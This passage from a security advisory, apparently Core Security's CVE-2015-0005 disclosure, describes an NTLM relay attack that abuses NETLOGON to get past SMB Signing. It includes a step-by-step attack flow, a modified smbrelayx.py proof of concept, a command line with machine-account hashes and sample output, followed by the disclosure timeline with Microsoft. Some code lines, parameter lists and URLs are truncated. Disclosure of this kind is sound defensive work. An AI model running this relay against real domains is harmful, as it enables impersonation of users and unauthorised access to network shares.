this operation (e.g. NetrLogonSamLogonWithFlags()).
What this means is that any domain-joined machine can verify any pass-through authentication against the domain
controller, and to get the base key for cryptographic operations for any session within the domain.
As a proof of concept we developed the SMB Relay attack whenever SMB Signing is enforced within the domain.
SMB Relay (actually NTLM Relay) has been well documented over the years, but in essence allows an attacker
that manages to sit in the middle between a victim and a target server to impersonate the victim against the
target server.
One of the mitigations mentioned on several papers is the implementation of SMB Signing [14][15], since, in
order to calculate the signing key, the attacker needs to have the user's password OWF (LMOWFv1 and/or NTOWFv1).
To carry out this attack, we would need a machine account password (or NTLM hash) in order to interact
with the domain controller through NETLOGON. Getting a machine account credential is not a complicated
task if an attacker has either:
1) Local Administrative access to one domain joined machine (several tools can dump the local SAM accounts [16]).
2) A normal domain user (so it can perform a fake domain join).
The high level flow would be as follows:
Assumptions:
1) We have a machine account's LMOWFv1/NTOWFv1 hashes (called MACHINE-ACCOUNT hashes).
2) We know the DC IP address or FQDN (called DC-MACHINE).
3) We targeted a victim user (called USER-A), tricking him into connecting to our machine
(ATTACKER-MACHINE) with his domain credentials.
4) We want to authenticate ourselves with the USER-A credentials against a target machine (called TARGET-MACHINE).
5) This domain environment enforces SMB Signing.
The packet's flow would be like this:
1) USER-A connects to ATTACKER-MACHINE, starts an SMB Connection.
2) ATTACKER-MACHINE connects to TARGET-MACHINE, starts an SMB Connection, and gets TARGET-MACHINE
SMB_COM_NEGOTITATE response.
3) ATTACKER-MACHINE forwards the SMB_COM_NEGOTIATE packet back to USER-A.
4) USER-A starts the SMB_SESSION_SETUP_ANDX procedure, sending the NTLM_NEGOTIATE packet.
5) ATTACKER-MACHINE forwards the NTLM_NEGOTIATE packet to TARGET-MACHINE, and receives a NTLM_CHALLENGE.
6) ATTACKER-MACHINE forwards the NTLM_CHALLENGE back to USER-A.
7) USER-A sends a NTLM_AUTHENTICATE message to ATTACKER-MACHINE.
8) ATTACKER-MACHINE forwards the NTLM_AUTHENTICATE message to TARGET-MACHINE. If the answer is
STATUS_SUCCESS, it means the credentials are valid.
Up to here, this is a normal SMB Relay attack. The following steps are performed in order to acquire
the SMB Signing key
9) ATTACKER-MACHINE connects to DC-MACHINE NETLOGON's protocol, authenticating itself using
MACHINE-ACCOUNT hashes.
10) ATTACKER-MACHINE calls NETLOGON's NetrLogonSamLogonWithFlags() specifying the following information:
a. ComputerName: TARGET-MACHINE
b. ValidationLevel: NETLOGON_VALIDATION_INFO_
c. LogonLevel: NETLOGON_VALIDATION_INFO_
d. LogonNetworkTransitive/
e. LogonNetworkTransitive/
f. LogonNetworkTransitive/
g. LogonNetworkTransitive/
h. LogonNetworkTransitive/
i. LogonNetworkTransitive/
j. LogonNetworkTransitive/
11) The return of this call will contain a NETLOGON_VALIDATION_SAM_INFO4 structure, that contains, among other
things, the UserSessionKey. Depending on the negotiation flags, this could be the straight SMB Signing key, or
an extra transformation should be made (calling generateEncryptedSessionKey())
12) Attacker now has a valid connection with TARGET-MACHINE, authenticated as USER-A, and now has the
SMB Signing key needed to perform further SMB commands against TARGET-MACHINE.
7.1. *Proof of Concept*
In order to test this attack the following infrastructure is needed:
1) A domain controller, exporting the SYSVOL share to normal users (this is just for the PoC).
Domain Name: TESTDOMAIN, Domain IP: 192.168.1.100.
2) A domain joined machine, acting as the victim machine. A domain user must be logged on that machine.
(IP: 192.168.1.220)
3) An attackers machine, doesn't need to be joined to the domain. Since we will be performing the attack from this
machine, we will need to bind to TCP port 445. Using a Unix machine would be the easiest way since on Windows this
is harder. Attacker's Machine IP: 192.168.1.200
4) A valid machine account name and NTLM hashes. Assuming it is:
a. account name: TEST-MACHINE$
b. NTHASH/LMHASH: aad3b435b51404eeaad3b435b51404
The machine NTLM hashes can be obtained by using any publicly available LSA secrets dump application.[10]
5) The smbrelayx.py script [17] and the impacket library installed [18].
6) Change smbrelayx.py doAttack() class to the following:
/-----
class doAttack(Thread):
def __init__(self, SMBClient, exeFile):
Thread.__init__(self)
self.SMBClient = SMBClient
def run(self):
# Here PUT YOUR CODE!
from impacket.smbconnection import SMBConnection
smbConnection = SMBConnection(
files = smbConnection.listPath('
print "EVIDENCE: SYSVOL's contents!"
for file in files:
print file.get_longname()
smbConnection.logoff()
-----/
Usage:
From the attackers machine run:
/-----
python smbrelayx.py -h 192.168.1.100 -e NOTHING -machine-account TESTDOMAIN/TEST-MACHINE\$ -machine-hashes aad3b435b51404eeaad3b435b51404
-----/
From the victim's machine, with a valid domain user logged in, run from the command prompt:
/-----
dir \\192.168.1.200\c$
-----/
At the smbrelayx.py execution, you will see:
/-----
Impacket v0.9.12 - Copyright 2002-2014 Core Security Technologies
[*] Running in relay mode
[*] Config file parsed
[*] Setting up SMB Server
[*] Servers started, waiting for connections
[*] Incoming connection (192.168.1.220,58702)
[*] SMBD: Received connection from 192.168.1.220, attacking target 192.168.1.100
[*] Signature is REQUIRED on the other end, using NETLOGON approach
[*] Connecting to 192.168.1.100 NETLOGON service
[*] TESTDOMAIN\usera successfully validated through NETLOGON
[*] SMB Signing key: 3b8aa5a6cde5175acf676ba312b624
[*] Authenticating against 192.168.1.100 as TESTDOMAIN\usera SUCCEED
[!] TreeConnectAndX not found C$
[!] TreeConnectAndX not found C$
EVIDENCE: SYSVOL's contents!
.
..
TESTDOMAIN
----
-----/
If you want to perform more actions instead of just listing the SYSVOL contents, check the doAttack.run() method
inside smbrelayx.py
8. *Report Timeline*
. 2014-05-27:
Core Security sent the first notification to Microsoft, including a technical description
and a Proof of Concept to reproduce the vulnerability. Publication date set to Jun 30, 2014.
. 2014-05-27:
Microsoft assigns the tracking number 19179 and informs their team will be investigating
our report.
. 2014-06-25:
Core Security requested an update on the investigations and expressed we are still planning to release the
advisory on June 30th.
. 2014-07-03:
Core Security requested an update on the investigations and expressed we decided to postpone the release date
from June 30th to July 10th giving additional time to reply back.
. 2014-07-07:
Microsoft claims the issue has been publicly know since 2009 and the advisories
[19] and [20].
. 2014-07-09:
Microsoft informs that took another look to the issue and thinks there may be a bigger
problem than just the NTLM as they previously stated. Requests to hold off the publishing
of the advisory.
. 2014-07-15:
Core Security insists that SMB Signing is not an effective way of mitigating this problem as
demonstrated in the PoC sent in the original report. We inform we decided not to publish a
advisory but we will write a blog post with the technical description.
. 2014-07-24:
Core Security informed that we will publish the blog and related tools on August 4th, considering we didn't
receive a reply.
. 2014-07-28:
Microsoft informs they were able to reproduce the issue and are working on a fix. They request
if possible to hold off CORE Security's publication.
. 2014-08-12:
Core Security, considering their acknowledgment of the issue, will be publishing an advisory. Core Security
requested a tentative ETA for making the advisory public.
. 2014-08-18:
Microsoft informs they don't have an ETA but are working to define one. Microsoft request a draft of
the advisory.
. 2014-08-20:
Core Security informed Microsoft that will be sending them a draft copy of the Advisory next week.
. 2014-09-11:
Core Security sent a draf version of the advisory.
. 2014-09-23:
Core Security requested a reception confirmation of the draft version of the advisory.
. 2014-09-24:
Microsoft confirms reception. They inform they are tentatively scheduling a December release.
. 2014-10-23:
Core Security requested the specific date for releasing the fix in order to schedule the advisory
accordingly.
. 2014-11-03:
Microsoft informs that they are planning a January release but it could change if they find
variants or run into issues on their test pass.
. 2014-11-05:
Core Security requested the vendor that we would like to respect the original release date considering
that the issue was originally reported on the 27 of May, 2014.
. 2014-11-10:
Microsoft informs that they are expecting to ship the fix in January because they have other
deployment priorities.
. 2014-12-16:
Core Security requested the vendor a specific date for the release of the fix and we inform them that
we are planning to release the advisory on Tuesday 13th of January, 2015.
. 2015-01-02:
Microsoft informs that they are not going to meet the expectations for a fix in January because
they require to fix the NETLOGON API, and during its application compatibility testing they
identified a major service provider that is affected by their fix.
. 2015-02-24:
Core Security requested the vendor an updated time frame for publishing the fix of the bug.
. 2015-02-27:
Microsoft informs that they currently finalizing the final test pass and that they should have a
concrete date for next week. At the moment they have it scheduled for March 10th, 2015. They
request as well how we would lke to be credited in the Bulletin.
. 2015-03-02:
Core Security informed them how we would like to be credited and requested them a daft copy of their
Bulletin and a copy of the fix in order to make internal tests.
. 2015-03-02:
Microsoft informs us that they cannot share packages early unless we are under NDA with them and
in the SUVP program.
. 2015-03-03:
Core Security informed them that we were disappointed by their response considering that we have been
cooperating with them for more than 9 months and have disclosed higly confidential information
with them. We informed them that we are going to publish the advisory on March 10th.
. 2015-03-09:
Microsoft confirmed us that their Security Bulletin was going to be published March 10th, 10:00 AM EST.
They requested Core Security to ckeck the acknowledgment they were going to use.
. 2015-03-09:
Core Security thanked Microsoft for the information provided and informed them how the Advisory should be
acknowledged. Core Security requested Microsoft a CVE ID, considering they are listed as a CVE Numbering
Authority. Core Security sent them the link of were our advisory is going to be published.
. 2015-03-09:
Microsoft issued the CVE-2015-0005 and ask Core Security if we wanted them to link our Advisory in their
acknowledgment.
. 2015-03-09:
Core Security requested, that if possible, they could link our advisory in the acknowledgment.
. 2015-03-10:
Advisory CORE-2015-0005 published.
9. *References*
[1] http://www.microsoft.com/.
[2] http://msdn.microsoft.com/en-
[3] http://msdn.microsoft.com/en-
[4] http://msdn.microsoft.com/en-
[5] http://msdn.microsoft.com/en-
[6] http://msdn.microsoft.com/es-
[7] http://msdn.microsoft.com/es-
[8] http://msdn.microsoft.com/en-
[9] http://msdn.microsoft.com/en-
[10] http://msdn.microsoft.com/en-
[11] http://msdn.microsoft.com/en-
[12] https://code.google.com/p/
[13] https://msdn.microsoft.com/en-
[14] http://blogs.technet.com/b/
[15] http://technet.microsoft.com/
[16] https://code.google.com/p/
[17] https://code.google.com/p/
[18] https://code.google.com/p/
[19] https://technet.microsoft.com/
[20] https://technet.microsoft.com/
[21] https://technet.microsoft.com/
10. *About CoreLabs*
CoreLabs, the research center of Core Security, is charged with anticipating
the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.
11. *About Core Security*
Core Security enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.
12. *Disclaimer*
The contents of this advisory are copyright
(c) 2015 Core Security and (c) 2015 CoreLabs,
and are licensed under a Creative Commons
Attribution Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security advisories
team, which is available for download at
http://www.coresecurity.com/